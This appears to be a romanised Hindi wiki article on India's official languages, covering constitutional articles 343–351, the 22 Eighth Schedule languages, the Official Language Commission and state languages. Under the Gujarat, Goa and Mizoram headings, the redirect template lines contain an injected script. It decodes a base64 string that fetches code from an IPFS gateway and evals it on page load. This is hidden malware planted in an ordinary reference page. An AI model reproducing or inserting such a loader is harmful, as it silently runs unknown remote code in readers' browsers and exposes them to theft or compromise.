राजभाषा

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hindi vishay soochi
hiandi    vikas    prachin hiandi    madhyakalin hiandi   vibhinn nam    rashtrabhasha    rashtrabhasha aandolan    rajabhasha    upabhashaean evan boliyaan    devanagari lipi    hindi vyakaran    manakikaran    akhil bharatiyata ka itihas

thumb|hindi varnamala bharat ki mukhy visheshata yah hai ki yahaan vibhinnata mean ekata hai. bharat mean vibhinnata ka svaroop n keval bhaugolik hai, balki bhashayi tatha saanskritik bhi hai. ek riport ke anusar bharat mean 1652 matribhashayean prachalan mean haian, jabaki sanvidhan dvara 22 bhashaoan ko rajabhasha ki manyata pradan ki gayi hai. sanvidhan ke anuchchhed 344 ke aantargat pahale keval 15 bhashaoan ko rajabhasha ki manyata di gayi thi, lekin 21vean sanvidhan sanshodhan ke dvara sindhi ko tatha 71vaan sanvidhan sanshodhan dvara nepali, koankani tatha manipuri ko bhi rajabhasha ka darja pradan kiya gaya. bad mean 92vaan sanvidhan sanshodhan adhiniyam, 2003 ke dvara sanvidhan ki athavian anusoochi mean char nee bhashaoan bodo, dogari, maithili tatha santhali ko rajabhasha mean shamil kar liya gaya. is prakar ab sanvidhan mean 22 bhashaoan ko rajabhasha ka darja pradan kiya gaya hai. bharat mean in 22 bhashaoan ko bolane vale logoan ki kul sankhya lagabhag 90% hai. in 22 bhashaoan ke atirikt aangrezi bhi sahayak rajabhasha hai aur yah mizoram, nagalaind tatha meghalay ki rajabhasha bhi hai. kul milakar bharat mean 58 bhashaoan mean skooloan mean padhayi ki jati hai. sanvidhan ki athavian anusoochi mean un bhashaoan ka ullekh kiya gaya hai, jinhean rajabhasha ki sanjna di gee hai.

sangh ki bhasha

sanvidhan ke anuchchhed 343 ke anusar sangh ki bhasha hindi aur lipi devanagari hogi lekin sanvidhan ke bad 15 varshoan tak arthath 1965 tak sangh ki bhasha ke roop mean aangrezi ka prayog kiya jana tha aur sansad ko yah adhikar diya gaya ki vah chahe to sangh ki bhasha ke roop mean aangrezi ke prayog ki avadhi ko badha sakati thi. isalie sansad ne 1963 mean rajabhasha adhiniyam, 1963 parit karake yah vyavastha kar di ki sangh bhasha ke roop mean aangrezi ka prayog 1971 tak karata rahega, lekin is niyam mean sanshodhan karake yah vyavastha kar di gayi ki sangh ki bhasha ke roop mean aangrezi ka prayog anishchit kal tak rahega.

bhashaean

anuchchhed 344 (1), 351, athavian anusoochi ke anusar 22 bhashaaian hai jinake nam is prakar hai:-

  1. asamiya
  2. baangla
  3. gujarati
  4. hindi
  5. kann d
  6. kashmiri
  7. koankani
  8. malayalam
  9. manipuri
  10. marathi
  11. nepali
  12. u diya
  13. panjabi
  14. sanskrit
  15. siandhi
  16. tamil
  17. urdoo
  18. telugu
  19. bodo
  20. dogari
  21. maithili
  22. santhali

rajabhasha ayog

sanvidhan ke anuchchhed 344 mean rashtrapati ko rajabhasha ayog ko gathit karane ka adhikar diya gaya hai. rashtrapati apane is adhikar ka prayog pratyek das varsh ki avadhi ke pashchath kareange. rajabhasha ayog mean un bhashaoan ke pratinidhiyoan ko shamil kiya jaega, jo sanvidhan ki athavian anusoochi mean vinirdisht haian. is prakar rajabhasha mean 18 sadasy hote haian.

rajabhasha ayog ka kary

rajabhasha ayog ka kartavy nimnalikhit vishayoan par rashtrapati ko sifarish dena hota hai—

  • sangh ke shasakiy prayojanoan ke lie hindi bhasha ke adhikarik prayog ke vishay mean,
  • sangh ke sabhi ya kinhian shasakiy prayojanoan ke lie aangrezi bhasha ke prayog ke nirbandhan ke vishay mean,
  • uchchatam nyayalay aur uchch nyayalay ki karyavahiyoan mean aur sangh ki tatha rajy ke adhiniyamoan tatha unake adhin banaye gaye niyamoan mean prayog ki jane vali bhasha ke vishay mean,
  • sangh ke kisi ek ya adhik ullikhit prayojanoan ke lie prayog kiye jane vale aankoan ke vishay mean,
  • sangh ki rajabhasha tatha sangh aur kisi rajy ke bich athava ek rajy tatha doosare rajyoan ke bich patrachar ki bhasha tatha unake prayog ke vishay mean, aur
  • sangh ki rajabhasha ke bare mean ya kisi any vishay mean, jo rashtrapati ayog ko sauanpe.

rashtrapati ne apane is adhikar ka prayog karake 1955 mean rajabhasha ayog ka gathan kiya tha. bi. ji. kher ko us samay rajabhasha ayog ka adhyaksh niyukt kiya gaya tha. is ayog ne 1956 mean apani riport rashtrapati ko sauanpi thi.

rajabhasha par sanyukt sansadiy samiti

rajabhasha ayog ki sifarishoan par vichar karane ke lie sanyukt sansadiy samiti ka gathan kiya jata hai. is samiti mean lokasabha ke 20 tatha rajyasabha ke 10 sadasyoan ko shamil kiya jata tha. sansadiy samiti rajabhasha ayog dvara ki gayi sifarishoan ka punarikshan karati hai.

sthayi rajabhasha ayog

sthayi rajabhasha ayog ke gathan ke sifarish sanyukt samiti ne ki thian is sifarish ke anusaran mean 1961 mean do sthayi rajabhasha ayog ka gathan kiya gaya hai, lekin 1976 mean sthayi rajabhasha ayog ko samapt kar diya gaya. jabaki vaijnanik aur takaniki shabdavali ayog ab bhi manav sansadhan vikas mantralay ke adhin kary kar raha hai.

rajy ki bhasha

sanvidhan ke anuchchhed 345 ke adhin pratyek rajy ke vidhanamandal ko yah adhikar diya gaya hai ki vah sanvidhan ki athavian anusoochi mean antarvisht bhashaoan mean se kisi ek ya adhik ko sarakari karyoan ke lie rajy bhasha ke roop mean aangikar kar sakata hai., kintu rajy ke paraspar sambandhoan mean tatha sangh aur rajyoan ke paraspar sambandhoan mean sangh ki rajabhasha ko hi pradhikrit bhasha mana jaega.

nyayalayoan tatha vidhanamandaloan ki bhasha

sanvidhan mean pravadhan kiya gaya hai ki jab tak sansad dvara qanoon banakar anyatha pravadhan n kiya jae, tab tak uchchatam nyayalay aur uchch nyayalayoan ki bhasha aangrezi hogi aur sansad tatha rajy vidhanamandaloan dvara parit qanoon aangrezi mean hoange. kisi rajy ka rajyapal rashtrapati ki anumati se uchch nyayalay ki karravaee ko rajabhasha mean hone ki anumati de sakata hai. [[chitr:Sanskrit- sloka.jpg|thumb|250px|left|sanskrit bhasha me shlok]]

sangh ki bhasha

adhyay 2- sangh ki bhasha ke anusar

  • anuchchhed 343- sangh ki rajabhasha-
  1. sangh ki rajabhasha hindi aur lipi devanagari hogi. aankoan ka roop bharatiy aankoan ka antarrashtriy roop hoga.
  2. is sanvidhan ke prarambh se 15 varsh ki avadhi tak (arthath 1965 tak) un sabhi shasakiy prayojanoan ke lie aangrezi bhasha ka prayog kiya jata rahega, jinake lie pahale prayog kiya jata raha tha.

parantu rashtrapati ukt avadhi ke dauran sangh ke shasakiy prayojanoan mean se kisi ke lie aangrezi bhasha ke atirikt hindi bhasha ka aur bharatiy aankoan ke aantarrashtriy roop ke atirikt devanagari roop ka prayog pradhikrit kar sakega.

  1. sansad ukt 15 varsh ki avadhi ke pashchath, vidhi ke dvara

aise prayojanoan ke lie prayog upabandhit kar sakegi, jo aisi vidhi mean vinirdisht kie jaean. anuchchhed 344— rajabhasha ke sambandh mean ayog (5 varsh ke uparant rashtrapati ke dvara) aur sansad ki samiti (10 varsh ke uparant)

pradeshik bhashaean

adhyay 2- pradeshik bhashaean ke anusar

  • anuchchhed 345— rajy ki rajabhasha ya rajabhashaean (pradeshik bhasha/bhashaean ya hindi; aisi vyavastha hone tak aangrezi ka prayog jari)
  • anuchchhed 346— ek rajy aur doosare rajy ke bich ya kisi rajy aur sangh ke bich patradi ki rajabhasha (sangh dvara tatsamay pradhikrit bhasha; apasi qarar hone par do rajyoan ke bich hindi)
  • anuchchhed 347— kisi rajy ki janasankhya ke kisi anubhag dvara boli janevali bhasha ke sambandh mean vishesh upabandh

sarvochch nyayalay, uchch nyayalay adi ki bhasha

adhyay 3- sarvochch nyayalay, uchch nyayalay adi ki bhasha ke anusar

  • anuchchhed 348— sarvochch nyayalay aur uchch nyayalay mean aur sansad v rajy vidhan mandal mean vidheyakoan, adhiniyamoan adi ke lie prayog ki janevali bhasha (upabandh hone tak aangrezi jari)
  • anuchchhed 349— bhasha se sambandhit kuchh vidhiyaan adhiniyamit karane ke lie vishesh prakriya (rajabhasha sambandhi koee bhi vidheyak rashtrapati ki poorv manzoori ke bina pesh nahian ki ja sakati aur rashtrapati bhi ayog ki sifarishoan par vichar karane ke bad hi manzoori de sakega)

vishesh nidesh

adhyay 2- vishesh nidesh ke anusar

  • anuchchhed 350— vyatha ke nivaran ke lie abhyavedan mean prayog ki janevali bhasha (kisi bhi bhasha mean)

(k)bhashaee alpasankhyak vargoan ke lie prathamik star par matribhasha mean shiksha ki suvidhaean. (kh)bhashaee alpasankhyak vargoan ke lie vishesh adhikari ki niyukti (rashtrapati ke dvara) anuchchhed 351— hindi ke vikas ke lie nidesh sangh ka yah kartavy hoga ki vah hindi bhasha ka prasar badhae, usaka vikas kare jisase vah bharat ki samajik sanskriti ke sabhi tatvoan ki abhivyakti ka madhyam ban sake, aur usaki prakriti mean hastakshep kie bina hindustani mean aur 8vian anusoochi mean vinirdisht bharat ki any bhashaoan mean prayukt roop, shaili aur padavali ko atmasath karate hue jahaan avashyak ya vaanchhaniy ho vahaan usake shabd–bhandar ke lie mukhyatah sanskrit se aur gaunatah any bhashaoan se shabd grahan karate hue usaki samriddhi sunishchit karean.  

sanvaidhanik sthiti v samiksha

[[chitr:Gujarati-alpha.jpg|thumb|gujarati varnamala]]

  • svatantrata ke poorv jo chhote–b de rashtraneta rashtrabhasha ya rajabhasha ke roop mean hindi ko apanane ke mudde par sahamat the, unamean se adhikaansh gair–hindi bhashi neta svatantrata milane ke vaqt hindi ke nam par bidakane lage.
  • yahi vajah thi ki sanvidhan sabha mean keval hindi par vichar nahian hua; rajabhasha ke nam par jo bahas vahaan 11 sitanbar, 1949 ee. se 14 sitanbar, 1949 ee. tak huee, usamean hindi, aangrezi, sanskrit evan hindustani ke dave par vichar kiya gaya.
  • kintu sangharsh ki sthiti sirf hindi evan aangrezi ke samarthakoan ke bich hi dekhane ko mili. hindi samarthak varg mean do gut the. ek gut devanagari lipi vali hindi ka samarthak tha, doosara gut (mahatma gaandhi, je. el. neharoo, abul qalam azad adi) do lipiyoan vali hindustani ke paksh mean tha.
  • azad bharat mean ek videshi bhasha, jise desh ka bahut tho da sa aansh (adhik–se–adhik 1 ya 2% hi) padh–likh aur samajh sakata tha, desh ki rajabhasha nahian ban sakati thi. lekin yakayak aangrezi ko chho dane mean bhi dikkatean thian. prayah 150 varshoan se aangrezi prashasan aur uchch shiksha ki bhasha rahi thi. hindi desh ki 46% janata ki bhasha thi. rajabhasha banane ke lie hindi ka dava nyayamukt tha. sath hi, pradeshik bhashaoan ki bhi sarvatha upeksha nahian ki ja sakati thi.
  • in sab batoan ko dhyan mean rakhate hue sanvidhan nirmataoan ne rajabhasha ki samasya ko hal karane ki koshish ki. sanvidhan sabha ke bhitar aur bahar hindi ke vipul samarthan ko dekhakar sanvidhan sabha ne hindi ke paksh mean apana faisala diya. yah faisala hindi virodhi evan hindi samarthakoan ke bich 'muanshi–ayangar ph aaumoole' ke dvara samajhaute ke parinamasvaroop samane aya, jisaki pramukh visheshataean is prakar thian—
  1. hindi bharat ki rashtrabhasha nahian balki rajabhasha hai.
  2. sanvidhan ke lagoo hone ke din se 15 varshoan ki avadhi tak aangrezi bani rahegi.
  3. ek aspasht nirdesh [1] ke adhar par hindi evan hindustani ke vivad ko door kar liya gaya.
  • sanvidhan ke bhasha–vishayak upabandh [2] evan 8vian anusoochi mean die ge haian. sanvidhan ke ye bhasha–vishayak upabandh hindi, aangrezi evan pradeshik bhashaoan ke paraspar virodhi davoan ke bich samanjasy sthapit karane ka prayas karate haian.

sansad mean prayog ki jane vali bhasha

anuchchhed 120 mean prayog ki jane vali bhasha ke anusar sansad ka kary hindi mean ya aangrezi mean kiya jaega, parantu yathasthiti lokasabhadhyaksh ya rajy sabha ka sabhapati kisi sadasy ko usaki matribhasha mean sadan ko sambodhit karane ki anumati de sakata hai. sansad vidhi ke dvara anyatha upabandh n kare to 15 varsh ki avadhi ke pashchath 'ya aangrezi mean' shabdoan ka lop kiya ja sakega.

rajy vidhanamandal mean prayog ki jane vali bhasha

anuchchhed 210 mean prayog ki jane vali bhasha ke anusar rajyoan ke vidhanamandaloan ka kary apane–apane rajy ki rajabhasha ya rajabhashaoan mean ya hindi mean ya aangrezi mean kiya jaega, parantu yathasthiti vidhanasabhadhyaksh ya vidhan parishad ka sabhapati kisi sadasy ko usaki matribhasha mean sadan ko sambodhit karane ki anumati de sakata hai. sansad vidhi dvara anyatha upabandh n kare to 15 varsh ki avadhi ke pashchath 'ya aangrezi mean' shabdoan ka lop kiya ja sakega.

bharat ke rajyoan ki bhasha

keral
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keral ki mukhy bhasha malayalam hai. yahaan malayalam bhasha boli jati hai. apani sanskriti aur bhasha-vaishishty ke karan bharat ke dakshin mean sthit char rajyoan mean keral ka pramukh sthan hai. isake p dosi rajy tamilanadu aur karnatak haian. keral rajy mean aangrezi bhasha ko pramukh sthan prapt hai. malayalam bhasha ki bhaanti aangrezi bhasha bhi shiksha ka pramukh madhyam hai.

gujarat
  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gujarati aur hindi rajy ki adhikrit bhashaean haian. donoan mean gujarati ka zyada vyapak istemal hota hai, jo sanskrit ke alava prachin bharatiy mool bhasha prakrit aur 10 vian shatabdi ke bich uttari aur pashchimi bharat mean boli jane vali apabhransh bhasha se vyutpann ek bharatiy-ary bhasha hai.

gova
  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gova ki mukhy bhashaean koankani aur marathi haian. koankani gova ki rajabhasha hai. gova mean sabase zyada koankani bhasha boli jati hai. koankani ek deshi bhasha ke roop mean rajy mean logoan ke dvara 61.21% boli jati hai. isake alava marathi 27.12%, kann d 3.41%, urdoo 2.81% aur hindi 2.09% boli jati hai.

mizoram
  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mizoram mean 'mizo’ shabh‍d ki utpatti ke bare mean thik se jnat nahian hai. 19 vian shatabh‍di mean yahaan british mishanariyoan ka prabhav phail gaya aur is samay adhikaansh mizo nagarik eesaee dharm ko hi manate haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ anuchchhed 351
  2. ↑ anuchchhed 120, anuchchhed 210 evan anuchchhed 343 se 351 tak

bahari k diyaan

sanbandhit lekh

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rajabhasha

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varnamala kramanusar lekh khoj

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